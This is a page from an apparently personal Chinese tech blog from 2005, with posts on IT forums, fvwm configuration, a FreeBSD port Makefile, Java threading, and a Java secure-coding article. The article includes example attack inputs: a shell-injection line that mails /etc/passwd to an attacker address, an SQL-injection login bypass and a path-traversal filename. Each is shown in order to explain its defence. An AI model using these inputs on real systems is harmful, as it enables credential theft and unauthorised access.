ivaneeo's blog

自由的力量,自由的生活。

  BlogJava :: 首页 :: 联系 :: 聚合  :: 管理
  669 Posts :: 0 Stories :: 64 Comments :: 0 Trackbacks

#

IT方面的论坛太多了,有综合,有专业,有行业,在各个论坛里混了几年,体会颇深,以前是论坛哪里人多,往哪里去,新浪论坛,网易是经常去的,人多啊,好几十万­,去了以后才发现没有意思,没有共同的语言,于是逛专业论坛,行业论坛,终于找到了共同语言,总结一下论坛的经验:人不在多,有仙则灵,贴不在多,有精则行,逛­了大半辈子,一个IT人发展方向一定要除了技术外,业务,理论,思想一个都不能少,于是我推荐如下这些论坛,或许真能帮助您,做论坛,都是赔本的买卖,不收费还­帮助你学习,得向斑竹们致敬啊。

以下论坛排名不分先后,还有许多业界知名的论坛,主要有点偏门,这个不做概述,呵呵。

IT技术开发综合类

http://community.csdn.net/

适合人群:只适合软件开发者

技术开发最全面的论坛,里面可以遇到很多牛人,版面也很全,什么J2EE,.NET啊,该有的全上,在这里基本上可以提出任何问题,人气也是最旺的,不过一般提­出的意见都有正方两面的,所以最终解决问题,还是靠自己。

评价:专业,很牛逼,就是速度慢。

http://www.52rd.com/bbs

适合人群:研发人员

我爱研发网,顾名思义,是针对R&D研发人员的,目前在射频,通信,手机研发是国内第一的,牛人不少,问题讨论的很彻底。论坛设有资料交换区,有大量有价值的资­料。

评价:强,速度还可以;

http://bbs.chinaunix.net/forum/

适合人员:系统工程师

这里的特色就是操作系统方面在业界是最著名的,牛人不少,目前,在数据库,网络方面也颇有建树,当然灌水方面也不赖,呵呵,属于温柔性

评价:强,速度还可以

http://bbs.chinajavaworld.com/

适合人员:JAVA开发

JAVA方面非常综合的论坛了,牛人也很多,是一个难得的JAVA论坛,涉及你想象的关于JAVA目前任何技术。

评论:强,速度还可以。

http://www.huihoo.com/forum/

适合人员:中间件开发者

人气不错,版面风格独特,在开源,中间件,工作流方面非常不错,问题讨论都非常深刻、也很专业。

评价:很好,速度一般;

IT售前技术顾问综合类

http://www.sysvs.com/bbs

适合人员:IT售前及技术顾问

业界知名的售前技术顾问论坛,比较新异的知识点,各个IT行业版快划分也比较好,也非常专业,绝对是我稀饭(喜欢)的风格,网站风格业内罕见,也有很多专业文章­,没有地方灌水,厉害。

评价:很好,速度比较快

网络工程类

www.1000bbs.com <http://www.1000bbs.com>

适合人员:布线/网络工程师

人气很旺,特色是版面比较紧凑,综合布线这一块很权威,很窄很专,时间非常久了,颜色比较明快,就是太低端了,

评价:不错,速度一般

http://www.sharecenter.net/

适合人员:网络工程师

之所以我喜欢是这个网站很多做CISCO工程都知道,也是别人介绍我去的,时间非常久了,颜色比较暗谈,属于忧郁型。

评价:不错,速度也还可以

IT营销管理类

http://www.topren.net/forum/index.php

适合人员:企业策划,CIO

业界知名的知识站点"唐人社区",信息化管理顾问可以去看看,人也很多,可惜,都是下载,实质性内容需要改观,我记得是非常专业的网站。

评价:不错,速度也还可以。

IT管理综合类

http://club.amteam.org/

适合人群:大多数,

评论类比较多,基本上在其他媒体上看到的评论,这里都会有,要想了解IT发展的情况,就来这里看看。

--
Compute & Mobile 论坛
科技发展,IT资讯,电脑技术,移动办公,无线通信,手机应用,网络通讯,手机软件.
电脑与手机的结合,发现趋势,掌握未来!
技术:3G 蓝牙 红外 移动存储 Wi-Fi WiMax UWB 笔本记本 手机

posted @ 2005-11-04 16:46 ivaneeo 阅读(320) | 评论 (0)编辑 收藏

1.监控当前数据库谁在运行什么SQL语句
 
 SELECT osuser, username, sql_text from v$session a, v$sqltext b
 where a.sql_address =b.address order by address, piece;


 
posted @ 2005-11-03 10:10 ivaneeo 阅读(239) | 评论 (0)编辑 收藏

###########
#  ____________________________
# (   _________________________)
#  ) (__  _   _  _    _  
# (   __)(  \/  )( \/\/ ) /\/\
#  ) (     \    /  \     //     \
# (___)    \/     \/ \/(_/\/\_) 2.5.14
#
# My personal fvwm2rc file
#
#######################

#####
# 设置环境变量
###########
SetEnv fvwm_home $[HOME]/.fvwm
SetEnv fvwm_img $[fvwm_home]/images
SetEnv fvwm_icon $[fvwm_home]/icons
SetEnv fvwm_scrpt $[fvwm_home]/scripts
SetEnv fvwm_wallpapers $[fvwm_img]/wallpaper
#####
# 设置首先的应用程序
###########
SetEnv fvwm_webbrowser /usr/bin/firefox
SetEnv fvwm_term /usr/bin/aterm
SetEnv fvwm_mail /usr/bin/mutt
SetEnv fvwm_media_player /usr/bin/xmms
SetEnv fvwm_video_player /usr/bin/mplayer
#####
#设置图片的查询路径
###########
ImagePath $[fvwm_icon]:$[fvwm_icon];.png:+   ##$[fvwm_icon];.png表示查找$[fvwm_icon]路径中的png格式的图片,而不是默认的图片格式。
                                                                             ##+表示前面添加过的ImagePath路径
#####
# 虚拟桌面
###########
DesktopSize 3x3   ##定义了每一个虚拟桌面(3x3的9个格子)
DesktopName 0 Main   ##定义了一个虚拟桌面,名字为Main
DesktopName 1 Work
DesktopName 2 Games
EdgeScroll 100 100   ##定义了当你的鼠标移动到屏幕边缘的时候,屏幕滚动的百分率。这里表示鼠标移动到屏幕边缘屏幕100%的滚动到下一个屏幕。
EdgeResistance 150  150   ##EdgeResistance scrolling moving
这是用来设定当滑鼠游标碰触到萤幕的边界的时候,FVWM应该要如
何动作。scrolling 是告诉FVWM当滑鼠游标碰触到萤幕边界多少
milliseconds之後,才会移动目前的工作桌面。moving则是设定当
视窗超出画面多少像点之後,才要切换目前的工作桌面到别的桌面
上。
EdgeThickness 1   ##设定鼠标靠近屏幕边缘的距离小于某个值。

#####
# Mouse and Focus Behavior
###########
ClickTime 350   ##fvwm考虑鼠标click的时间,按下于弹出之间大于350ms,认为是hold.小于350ms就是click.
MoveThreshold 3   ##控制移动窗口和图标的拖动操作的灵敏度。 该资源值是移动操作触发前定位器按下按钮移动的像素量。 这用于防止单击或双击时的窗口和图标的移动,这里的移动是指按钮按下时无意识的指针移动。

## Style stylename options
      Style         *        SloppyFocus, MouseFocusClickRaises  
## 其中stylename是你的窗口的名字,窗口的class名字,或者窗口的resource名字。
## stylename 里可以有 "*" 作为通配符。比如你可以说
##            Style *term TitleAtLeft
## 让所有以 "term" 结尾的那些窗口的标题拦都在左边。比如 "xterm", "cxterm", "qterm", ... 都## 会采用这种样式。
## options 是你想让满足条件的窗口以什么样的方式存在。options 的种类非常之多。比如:BorderWidth, HandleWidth, FocusFollowsMouse, TileCascadePlacement, ... 它们有的需要参数,比如 BorderWidth 7, 指定边框宽度为7个像素。有些不需要参数,比如 FocusFollowsMouse/ SloppyFocus/ NeverFocus/ ClickToFocus 指明了几种互相排斥的键盘聚焦方式。
## 这里SloppyFocus指,当鼠标移动到那个窗口时,窗口被激活(不包括root window)。
## 这里MouseFocusClickRaises表示,当鼠标点击一个激活的窗口时,这个窗口会上升到最高层。
##
EwmhBaseStructs left right top bottom
     EwmhBaseStruts    62  162    0     48   ##这里的值来指定窗口的最大化时的放置的位置值。
IgnoreModifiers L25   ##你可以忽略某些键盘控制键。这将影响到你的鼠标和键盘热键定义。

#####
# Global Styles and options
###########
Style * BorderWidth 5, HandleWidth 5, DepressableBorder
Style * Icon kcmkwm.png
Style * MWMFunctions, MWMDecor, MWMButtons, HintOverride
Style * DecorateTransient, NoPPosition
Style * SloppyFocus, MouseFocusClickRaises
Style * SmartPlacement
Style * Font -*-simsun-medium-r-*-*-14-*-*-*-*-*-*-*
Style * IconFont -*-simsun-medium-r-*-*-12-*-*-*-*-*-*-*
Style * HilightFore black, HilightBack gainsboro
Style * IconBox 360x200+1-1, IconFill left bottom
Style * WindowShadeShrinks, WindowShadeSteps 100
posted @ 2005-11-02 15:33 ivaneeo 阅读(4121) | 评论 (0)编辑 收藏

To do great work a man must be very idle as well as very industrious. (Samuel Bubler, American educator)

要从事伟大的工作,一个人必须既非常勤劳又非常空闲。(美国教育家 勃特勒。S.)

posted @ 2005-11-02 10:33 ivaneeo 阅读(706) | 评论 (0)编辑 收藏

http://www.zensites.net/fvwm/guide/index.html
posted @ 2005-10-31 14:50 ivaneeo 阅读(682) | 评论 (4)编辑 收藏

1.dietician
[daiәˊtiʃәn]
n. 营养专家;营养学者
<----------------------->
2.psychologist
[saiˊkɒlәdʒist]
n. 心理学者
<----------------------->
3.society
[sәˊsaiәti]
n. U社会;C团体,社会;U上流社会
<----------------------->
4.assault
[әˊsɒːt]
n. 攻击,突袭
<----------------------->
5.succession
*[sәk'seʃәn]
n. 连续, 继承权, 继位, 演替, 地层次序
<------------------------>
6.rife
*[raif]
a. 流行的, 盛传的, 充满的

be rife with
充满
<------------------------->
7.at hand
在手边, 在附近, 即将到来
<-------------------------->
posted @ 2005-10-28 16:25 ivaneeo 阅读(305) | 评论 (0)编辑 收藏

一、概述
编写安全的Internet应用并不是一件轻而易举的事情:只要看看各个专业公告板就可以
找到连续不断的安全漏洞报告。你如何保证自己的Internet应用不象其他人的应用那样
满是漏洞?你如何保证自己的名字不会出现在令人难堪的重大安全事故报道中?
如果你使用Java Servlet、JavaServer
Pages(JSP)或者EJB,许多难以解决的问题都
已经事先解决。当然,漏洞仍有可能出现。下面我们就来看看这些漏洞是什么,以及为
什么Java程序员不必担心部分C和Perl程序员必须面对的问题。
C程序员对安全漏洞应该已经很熟悉,但象OpenBSD之类的工程提供了处理此类问题的安
全系统。Java语言处理这类问题的经验要比C少20年,但另一方面,Java作为一种客户
端编程语言诞生,客户端对安全的要求比服务器端苛刻得多。它意味着Java的发展有着
一个稳固的安全性基础。
Java原先的定位目标是浏览器。然而,浏览器本身所带的Java虚拟机虽然很不错,但却
并不完美。Sun的《Chronology of security-related bugs and
issues》总结了运行
时环境的漏洞发现历史。我们知道,当Java用作服务器端编程语言时,这些漏洞不可能
被用作攻击手段。但即使Java作为客户端编程语言,重大安全问题的数量也从1996年的
6个(其中3个是相当严重的问题)降低到2000年的1个。不过,这种安全性的相对提高
并不意味着Java作为服务器端编程语言已经绝对安全,它只意味着攻击者能够使用的攻
击手段越来越受到限制。那么,究竟有哪些地方容易受到攻击,其他编程语言又是如何
面对类似问题的呢?

二、缓存溢出
在C程序中,缓存溢出是最常见的安全隐患。缓存溢出在用户输入超过已分配内存空间
(专供用户输入使用)时出现。缓存溢出可能成为导致应用被覆盖的关键因素。C程序
很容易出现缓存溢出,但Java程序几乎不可能出现缓存溢出。
从输入流读取输入数据的C代码通常如下所示:
char buffer[1000];
int len = read(buffer);

由于缓存的大小在读入数据之前确定,系统要检查为输入保留的缓存是否足够是很困难
的。缓存溢出使得用户能够覆盖程序数据结构的关键部分,从而带来了安全上的隐患。
有经验的攻击者能够利用这一点直接把代码和数据插入到正在运行的程序。
Java中,我们一般用字符串而不是字符数组保存用户输入。与前面C代码等价的Java
代码如下所示:
String buffer = in.readLine();

在这里,"缓存"的大小总是和输入内容的大小完全一致。由于Java字符串在创建之后
不能改变,缓存溢出也就不可能出现。退一步说,即使用字符数组替代字符串作为缓存
Java也不象C那样容易产生可被攻击者利用的安全漏洞。例如,下面的Java代码将产
生溢出:
char[] bad = new char[6];
bad[7] =
50;这段代码总是抛出一个java.lang.ArrayOutOfBoundsException异常,而
该异常可以由程序自行捕获:
try {
char[] bad = new char[6];
bad[7] = 50;

}

catch (ArrayOutOfBoundsException ex) {
... }

这种处理过程永远不会导致不可预料的行为。无论用什么方法溢出一个数组,我们总是
得到ArrayOutOfBoundsException异常,而Java运行时底层环境却能够保护自身免受任
何侵害。一般而言,用Java字符串类型处理字符串时,我们无需担心字符串的
ArrayOutOfBoundsExceptions异常,因此它是一种较为理想的选择。
Java编程模式从根本上改变了用户输入的处理方法,避免了输入缓存溢出,从而使得
Java程序员摆脱了最危险的编程漏洞。

三、竞争状态
竞争状态即Race
Condition,它是第二类最常见的应用安全漏洞。在创建(更改)资源
到修改资源以禁止对资源访问的临界时刻,如果某个进程被允许访问资源,此时就会出
现竞争状态。这里的关键问题在于:如果一个任务由两个必不可少的步骤构成,不管你
多么想要让这两个步骤一个紧接着另一个执行,操作系统并不保证这一点。例如,在数
据库中,事务机制使得两个独立的事件"原子化"。换言之,一个进程创建文件,然后
把这个文件的权限改成禁止常规访问;与此同时,另外一个没有特权的进程可以处理该
文件,欺骗有特权的进程错误地修改文件,或者在权限设置完毕之后仍继续对原文件进
行访问。
一般地,在标准Unix和NT环境下,一些高优先级的进程能够把自己插入到任务的多个步
骤之间,但这样的进程在Java服务器上是不存在的;同时,用纯Java编写的程序也不可
能修改文件的许可权限。因此,大多数由文件访问导致的竞争状态在Java中不会出现,
但这并不意味着Java完全地摆脱了这个问题,只不过是问题转到了虚拟机上。
我们来看看其他各种开发平台如何处理这个问题。在Unix中,我们必须确保默认文件创
建模式是安全的,比如在服务器启动之前执行"umask
200"这个命令。有关umask的更
多信息,请在Unix系统的命令行上执行"man
umask"查看umask的man文档。
在NT环境中,我们必须操作ACL(访问控制表,Access
Control List)的安全标记,保
护要在它下面创建文件的目录。NT的新文件一般从它的父目录继承访问许可。请参见
NT文档了解更多信息。
Java中的竞争状态大多数时候出现在临界代码区。例如,在用户登录过程中,系统要生
成一个唯一的数字作为用户会话的标识符。为此,系统先产生一个随机数字,然后在散
列表之类的数据结构中检查这个数字是否已经被其他用户使用。如果这个数字没有被其
他用户使用,则把它放入散列表以防止其他用户使用。代码如Listing
1所示:
(Listing 1)
// 保存已登录用户的ID
Hashtable hash;
// 随机数字生成器
Random rand;
// 生成一个随机数字
Integer id = new Integer(rand.nextInt());
while (hash.containsKey(id))
{
id = new Integer(rand.nextInt());

}

// 为当前用户保留该ID
hash.put(id, data);

Listing
1的代码可能带来一个严重的问题:如果有两个线程执行Listing
1的代码,其
中一个线程在hash.put(...)这行代码之前被重新调度,此时同一个随机ID就有可能被
使用两次。在Java中,我们有两种方法解决这个问题。首先,Listing
1的代码可以改
写成Listing
2的形式,确保只有一个线程能够执行关键代码段,防止线程重新调度,
避免竞争状态的出现。第二,如果前面的代码是EJB服务器的一部分,我们最好有一个
利用EJB服务器线程控制机制的唯一ID服务。
(Listing 2)
synchronized(hash)
{
// 生成一个唯一的随机数字
Integer id =
new Integer(rand.nextInt());
while (hash.containsKey(id))
{
id = new Integer(rand.nextInt());

}

// 为当前用户保留该ID
hash.put(id, data);
}

四、字符串解释执行
在有些编程语言中,输入字符串中可以插入特殊的函数,欺骗服务器使其执行额外的、
多余的动作。下面的Perl代码就是一个例子:
$data = "mail body";
system("/usr/sbin/sendmail -t $1 < $data");

显然,这些代码可以作为CGI程序的一部分,或者也可以从命令行调用。通常,它可以
按照如下方式调用:
perl script.pl hon...@true.com

它将把一个邮件(即"mail
body")发送给用户hon...@true.com。这个例子虽然简单
,但我们却可以按照如下方式进行攻击:
perl script.pl hon...@true.com;mail
c...@liarandthief.com < /etc/passwd

这个命令把一个空白邮件发送给hon...@true.com,同时又把系统密码文件发送给了
c...@liarandthief.com。如果这些代码是CGI程序的一部分,它会给服务器的安全带
来重大的威胁。
Perl程序员常常用外部程序(比如sendmail)扩充Perl的功能,以避免用脚本来实现外
部程序的功能。然而,Java有着相当完善的API。比如对于邮件发送,JavaMail
API就
是一个很好的API。但是,如果你比较懒惰,想用外部的邮件发送程序发送邮件:
Runtime.getRuntime().exec("/usr/sbin/sendmail -t $retaddr < $data");

事实上这是行不通的。Java一般不允许把OS级"<"和";"之类的构造符号作为
Runtime.exec()的一部分。你可能会尝试用下面的方法解决这个问题:
Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t $retaddr < $data");

但是,这种代码是不安全的,它把前面Perl代码面临的危险带入了Java程序。按照常规
Java方法解决问题有时看起来要比取巧的方法复杂一点,但它几乎总是具有更好的可
移植性、可扩展性,而且更安全、错误更少。Runtime.exec()只是该问题的一个简单例
子,其他许多情形更复杂、更隐蔽。
让我们来考虑一下Java的映像API(Reflection
API)。Java映像API允许我们在运行时
决定调用对象的哪一个方法。任何由用户输入命令作为映像查找条件的时机都可能成为
系统的安全弱点。例如,下面的代码就有可能产生这类问题:
Method m = bean.getClass().getMethod(action, new Class[] {});
m.invoke(bean, new Object[] {});

如果"action"的值允许用户改变,这里就应该特别注意了。注意,这种现象可能会在
一些令人奇怪的地方出现--或许最令人奇怪的地方就是JSP。大多数JSP引擎用映像
API实现下面的功能:
<jsp:setProperty name="bean" property="*" />

这个Bean的set方法应该特别注意,因为所有这些方法都可以被远程用户调用。例如,
对于Listing 3的Bean和Listing 4的JSP页面:
(Listing 3)

public class Example
{
public void setName(String name) {
this.name = name; }
public String getName() { return name; }
public void setPassword(String pass) {
this. pass = pass; }
public String getPassword() { return
pass; }
private String name;
private String pass;

}

(Listing 4)
<%@ page import="Example" %>
<jsp:useBean id="example" scope="page"
class="Example" />
<jsp:setProperty name="example" property="*" />
<html>
<head>
<title>Bean示例</title>
</head>
<body>
<form>
<input type="text" name="name" size="30">
<input type="submit" value="Submit">
</form>
</html>

从表面上看,这些代码只允许用户访问example
Bean的名字。然而,了解该系统的用户
可以访问"http://whereever.com/example.jsp?name=Fred&password=hack"这种URL
。这个URL既改变name属性,也改变password密码属性。当然,这应该不是页面编写者
的意图,作者的意图是设计一个只允许用户访问名字属性的页面。因此,在使用
<jsp:setProperty property=&quot;*&quot; ... /&gt;。>

时应该非常小心
字符串被解释执行的问题可能在允许嵌入脚本代码的任何环境中出现。例如,这类问题
可能在Xalan(也称为LotusXSL)中出现,当然这是指系统设置不严格、易受攻击的情
况下。
Xalan的脚本支持能够关闭(而且这是Xalan的默认设置),在敏感的应用中关闭脚本支
持是一种明智的选择。当你需要用DOM处理XML文档时还必须考虑到另外一点:DOM保证
所有文本都经过正确的转义处理,防止非法的标记插入到脚本之内。LotusXSL缺乏这个
功能,但这绝不是一个BUG。支持脚本是LotusXSL的一个特色,而且它(明智地)默认
处于关闭状态。XSL的W3C规范并没有规定支持脚本的能力。
现在我们来看看字符串解释执行如何影响SQL和JDBC。假设我们要以用户名字和密码为
条件搜索数据库中的用户,Listing
5的Servlet代码看起来不错,但事实上它却是危险
的。
(Listing 5)
String user = request.getAttribute("username");
String pass = request.getAttribute("password");
String query = "SELECT id FROM users WHERE
username="+user+" AND password="+pass;
Statement stmt = con.createStatement(query);
ResultSet rs = con.executeQuery(query);
if (rs.next())
{
// 登录成功
int id = rs.getInt(1);
...

}

else
{
// 登录失败
...
}

如果用户输入的查询条件中,用户名字等于"fred",密码等于"something",则系
统执行的查询实际上是:
SELECT id FROM users WHERE
username='fred' AND password=
'something'

这个查询能够正确地对用户名字和密码进行检查。但是,如果用户输入的查询条件中,
名字等于"fred' AND ('a'='b",密码等于"blah') OR
'a'='a",此时系统执行的
查询变成了:
SELECT id FROM users
WHERE username='fred' AND (
'a'='b' AND password='blah') OR 'a'='a'

可以看出,这个查询无法正确地对用户名字和密码进行检查。Listing
6的代码要安全
得多,它从根本上防止了用户修改SQL命令逃避检查。
(Listing 6)
String user = request.getAttribute("username");
String pass = request.getAttribute("password");
String query = "SELECT id FROM users
WHERE username=? AND password=?";
PreparedStatement stmt = con.prepareStatement(query);
stmt.setString(1, user);
stmt.setString(2, pass);
ResultSet rs = stmt.executeQuery();
...

所有对文件系统的访问都是字符串可能被解释执行的地方。用Java访问文件系统时,我
们应该注意文件的命名方式。Listing
7是一个可能带来危险的例子。这个程序根据用
户输入决定读取哪个文件,它的危险就在于攻击者能够输入"../../../etc/passwd"
这样的文件名字并获得系统的密码文件。这可不是我们希望出现的事情。预防出现这种
安全漏洞最简单的方法是:除非绝对需要,否则不要使用平面文件(Flat
File)。
(Listing 7)
public class UnsafeServlet
{
public void doGet(HttpServletRequest request,
HttpServletResponse response)
{
String product = request.getAttribute("product");
Reader fin = new FileReader(
"/usr/unsafe/products/"+ product);
BufferedReader in = new BufferedReader(fin);
String cost = in.readLine();
// 其他处理过程
response.getWriter().println(cost);

}
}

大多数服务器系统,包括Servlet、JSP和EJB,都支持不直接依赖文件系统访问的配置
方法。使用定制的SecurityManager或者使用一个简单的检查脚本(检查程序是否直接
操作文件系统以及是否使用映像API),我们就可以实施"无文件系统直接访问"策略
。尽管大多数应用服务器允许使用文件系统,但一个好的EJB不会使用它。
最后,请务必不要忘记保持数据充分分离、精确定义这一良好的编程习惯。假设我们有
一个用来保存用户信息的数据库,现在需要增加一个字段标示用户是否具有超级用户权
限。如果在原来的表中增加一个列实在过于复杂,采用下面这种方法就变得很有吸引力
:在用户名字中加上一个特殊字符表示用户是否具有特殊权限,当用户登录时检查该特
殊字符,以便防止非法用户宣称自己拥有特殊权限。但事实上,这种做法是非常有害的
。所有的数据域,不管它是在数据库中还是作为局部变量,都应该精确定义且只保存一
份信息。

五、基本原则总结
根据上述讨论,我们得到如下防止出现安全问题的基本原则:

对于各个输入域,严格地定义系统可接受的合法输入字符,拒绝所有其他输入内容。

应该尽可能早地对用户输入进行检查,使得使用危险数据的区域减到最小。
不要依赖浏览器端JavaScript进行安全检查(尽管对用户来说这是一种非常有用的功能
),所有已经在客户端进行的检查应该在服务器端再进行一次。
这些原则有助于消除大量的安全问题。本质上,在应用这一级上,URL和POST数据是用
户和应用交互的唯一途径,所以我们的注意力应该集中在URL和用户输入数据的安全性
上。
当然,简单地遵从本文的建议并不能够保证绝对的安全。你必须分析其他各方面的因素
,包括网络的安全性以及你所用到的其他服务的安全性。
每天都有新的安全漏洞被发现和修正。在系统足够安全、可以连接到Internet之前,请
务必听取专家的建议;在正式提交源代码之前,一定要留意可能存在的漏洞。小心永不
过份。
posted @ 2005-10-28 10:43 ivaneeo 阅读(426) | 评论 (0)编辑 收藏

JDK1.4引入了Preferences类,
用于设置用户的首选项,对于Windows平台就是操作注册表了,
下面的程序就可以往注册表里写几个值,运行完毕后,
打开regedit, 搜寻一下,
看看注册表里是不是有了变化了。

  (下面注释掉的那段代码给恢复,
就能把写入的注册键值删除, 很方便啊)

  至于读注册表项, 比写还方便, 查JDK API文档吧..

// PrefsDemo.java

import java.io.*;
import java.util.prefs.*;

public class PrefsDemo {
public static void main(String args[])
{
 String keys[] ={"sunway","copyright","author"};
 String values[] ={"sunway technology company","copyright
2002","turboc...@163.com"};

 /* 建立一个位于user root下的/com/sunway/spc节点参数项*/
 Preferences prefsdemo
=Preferences.userRoot().node("/com/sunway/spc");

 /* 储存参数项*/
 for (int i=0 ; i < keys.length; i++)
 {
  prefsdemo.put(keys[i], values[i]);
 }

 /* 导出到XML文件 */
 try
 {
  FileOutputStream fos = new FileOutputStream("prefsdemo.xml");
  prefsdemo.exportNode(fos);
 } catch (Exception e)
 {
  System.err.println("Cannot export nodes: " + e);
 }

 /* 去掉注释可以清除注册表中的参数项*/
 /*try
 {
  prefsdemo.removeNode();
 } catch (BackingStoreException e)
 {
 }*/

posted @ 2005-10-28 10:42 ivaneeo 阅读(354) | 评论 (0)编辑 收藏

通过修改 distinfo 和Makefile 文件来安装最新简体中文版的 Adobe Reader7.

OS: freebsd 5.4

******************************

1.修改/usr/ports/print/acroread7下面的distinfo 和Makefile文件。

===================
我的distinfo:

MD5 (acroread/AdobeReader_chs-7.0.0-2.i386.rpm) = 40fe6b8cb157de92090219d4385e3e3e
SIZE (acroread/AdobeReader_chs-7.0.0-2.i386.rpm) = 55386857

=====================
我的Makefile文件

# New ports collection makefile for: acroread7
# Date created: 19 May 2005
# Whom: Trevor Johnson <trevor@freebsd.org>
#
# $FreeBSD: ports/print/acroread7/Makefile,v 1.3 2005/07/07 01:34:00 linimon Exp $
#

PORTNAME= acroread7
PORTVERSION= 7.0.0
CATEGORIES= print linux
MASTER_SITES= http://ardownload.adobe.com/pub/adobe/reader/unix/7x/7.0/chs/ \
ftp://ftp.adobe.com/pub/adobe/reader/unix/7x/7.0/chs/
DISTNAME= AdobeReader_chs-7.0.0-2.i386.rpm
EXTRACT_SUFX=
DIST_SUBDIR= acroread
EXTRACT_ONLY=
RESTRICTED= "Must fill out redistribution form at http://www.adobe.com/products/acrobat/distribute.html"

MAINTAINER= trevor@FreeBSD.org
COMMENT= View, distribute and print PDF documents

BUILD_DEPENDS= rpm:${PORTSDIR}/archivers/rpm
RUN_DEPENDS= ${LINUXBASE}/usr/lib/libgtk-x11-2.0.so.0:${PORTSDIR}/x11-toolkits/linux-gtk2 \
${LINUXBASE}/usr/lib/libpango-1.0.so.0:${PORTSDIR}/x11-toolkits/linux-pango \
${LINUXBASE}/usr/X11R6/lib/libXext.so.6:${PORTSDIR}/x11/linux-XFree86-libs

CONFLICTS= acroread

ONLY_FOR_ARCHS= amd64 i386
USE_REINPLACE= yes
USE_LINUX?= yes
NO_BUILD= yes
REINPLACE_ARGS= -i '' -E
NO_FILTER_SHLIBS= yes
PLIST= ${WRKDIR}/plist
PREFIX= ${LINUXBASE}

pre-install:
@kldstat -v | ${GREP} -E 'linux(aout|elf)' >/dev/null ||\
{ ${ECHO_MSG} "Linux ABI compatibility must be enabled to install ${PORTNAME}-${PORTVERSION}"; \
exit 1; }
@${RM} -rf ${WRKSRC}/tmp
@${MKDIR} ${WRKSRC}/tmp
cd ${WRKSRC}/tmp; \
rpm2cpio < ${DISTDIR}/${DIST_SUBDIR}/${DISTNAME} | ${CPIO} -id; \
${FIND} * -type f -o -type l > ${PLIST} \
&& ${FIND} -d * -type d | ${SED} -e 's:^:@dirrm :' | \
${GREP} -vE "(usr/bin$$|local$$|share$$|usr$$)" >> ${PLIST}

do-install:
@rpm -U --ignorearch --ignoreos --root ${PREFIX} --dbpath /var/lib/rpm \
--nodeps --replacepkgs ${DISTDIR}/${DIST_SUBDIR}/${DISTNAME} || ${TRUE}
# disable the PPKLite plugin as it requires an LDAP share lib
${CHMOD} 0 ${PREFIX}/usr/local/Adobe/Acrobat7.0/Reader/intellinux/plug_ins/PPKLite.api

post-install:
@${REINPLACE_CMD} 's:Linux:FreeBSD|Linux:g' \
${PREFIX}/usr/local/Adobe/Acrobat7.0/bin/acroread
cd ${LOCALBASE}/bin ; ${LN} -sf ${PREFIX}/usr/local/Adobe/Acrobat7.0/bin/acroread acroread7
cd ${LOCALBASE}/bin ; ${LN} -sf ${PREFIX}/usr/local/Adobe/Acrobat7.0/bin/acroread acroread
@${ECHO_MSG} "Be sure to read the license agreement in"
@${ECHO_MSG} "${PREFIX}/usr/local/Adobe/Acrobat7.0/Reader/Legal/CHS/license_CHS_uc.txt"

.include <bsd.port.mk>

其实修改的地方不多,自己看看就明白。
========================================

2.做完以上两步,就可以到 /usr/ports/print/acroread7下面

make install clean

很快就装完。

============

3.其实我为了方便,先到官方网站把AdobeReader_chs-7.0.0-2.i386.rpm给下了下来,放到 /usr/ports/distfiles/acroread下面。 (只有这样才能知道他的 MD5,否则怎么知道改distinfo文件呢?)

然后才执行第2步的,不到 2分钟就装好,因为不用再去下载原程序。

4.新版打开文件的速度很快
posted @ 2005-10-27 16:05 ivaneeo 阅读(572) | 评论 (0)编辑 收藏

Java的线程编程非常简单。但有时会看到一些关于线程的错误用法。下面列出一些应该注意的问题。

   1.同步对象的恒定性All java objects are references.

  对于局部变量和参数来说,java里面的int, float, double, boolean等基本数据类型,都在栈上。这些基本类型是无法同步的;java里面的对象(根对象是Object),全都在堆里,指向对象的reference在栈上。

  java中的同步对象,实际上是对于reference所指的“对象地址”进行同步。

  需要注意的问题是,千万不要对同步对象重新赋值。举个例子。

  class A implements Runnable{

  Object lock = new Object();

  void run(){

  for(...){

  synchronized(lock){

  // do something

  ...

  lock = new Object();   }   }   }   run函数里面的这段同步代码实际上是毫无意义的。因为每一次lock都给重新分配了新的对象的reference,每个线程都在新的reference同步。

  大家可能觉得奇怪,怎么会举这么一个例子。因为我见过这样的代码,同步对象在其它的函数里被重新赋了新值。

  这种问题很难查出来。

  所以,一般应该把同步对象声明为final.

  final Object lock = new Object();

  使用Singleton Pattern 设计模式来获取同步对象,也是一种很好的选择。

  2.如何放置共享数据实现线程,有两种方法,一种是继承Thread类,一种是实现Runnable接口。

  上面举的例子,采用实现Runnable接口的方法。本文推荐这种方法。

  首先,把需要共享的数据放在一个实现Runnable接口的类里面,然后,把这个类的实例传给多个Thread的构造方法。这样,新创建的多个Thread,都共同拥有一个Runnable实例,共享同一份数据。

  如果采用继承Thread类的方法,就只好使用static静态成员了。如果共享的数据比较多,就需要大量的static静态成员,令程序数据结构混乱,难以扩展。这种情况应该尽量避免。

  编写一段多线程代码,处理一个稍微复杂点的问题。两种方法的优劣,一试便知。

  3.同步的粒度线程同步的粒度越小越好,即,线程同步的代码块越小越好。尽量避免用synchronized修饰符来声明方法。尽量使用synchronized(anObject)的方式,如果不想引入新的同步对象,使用synchronized(this)的方式。而且,synchronized代码块越小越好。

  4.线程之间的通知这里使用“通知”这个词,而不用“通信”这个词,是为了避免词义的扩大化。

  线程之间的通知,通过Object对象的wait()和notify() 或notifyAll() 方法实现。

  下面用一个例子,来说明其工作原理:

  假设有两个线程,A和B。共同拥有一个同步对象,lock。

  1.首先,线程A通过synchronized(lock) 获得lock同步对象,然后调用lock.wait()函数,放弃lock同步对象,线程A停止运行,进入等待队列。

  2.线程B通过synchronized(lock) 获得线程A放弃的lock同步对象,做完一定的处理,然后调用 lock.notify() 或者lock.notifyAll() 通知等待队列里面的线程A。

  3.线程A从等待队列里面出来,进入ready队列,等待调度。

  4.线程B继续处理,出了synchronized(lock)块之后,放弃lock同步对象。

  5.线程A获得lock同步对象,继续运行。

  例子代码如下:

  public class SharedResource implements Runnable{

  Object lock = new Object();

  public void run(){

  // 获取当前线程的名称。

  String threadName = Thread.currentThread().getName();

  if( “A”.equals(threadName)){

  synchronized(lock){ //线程A通过synchronized(lock) 获得lock同步对象

  try{

  System.out.println(“ A gives up lock.”);

  lock.wait(); // 调用lock.wait()函数,放弃lock同步对象,

  // 线程A停止运行,进入等待队列。

  }catch(InterruptedException e){   }   // 线程A重新获得lock同步对象之后,继续运行。

  System.out.println(“ A got lock again and continue to run.”);

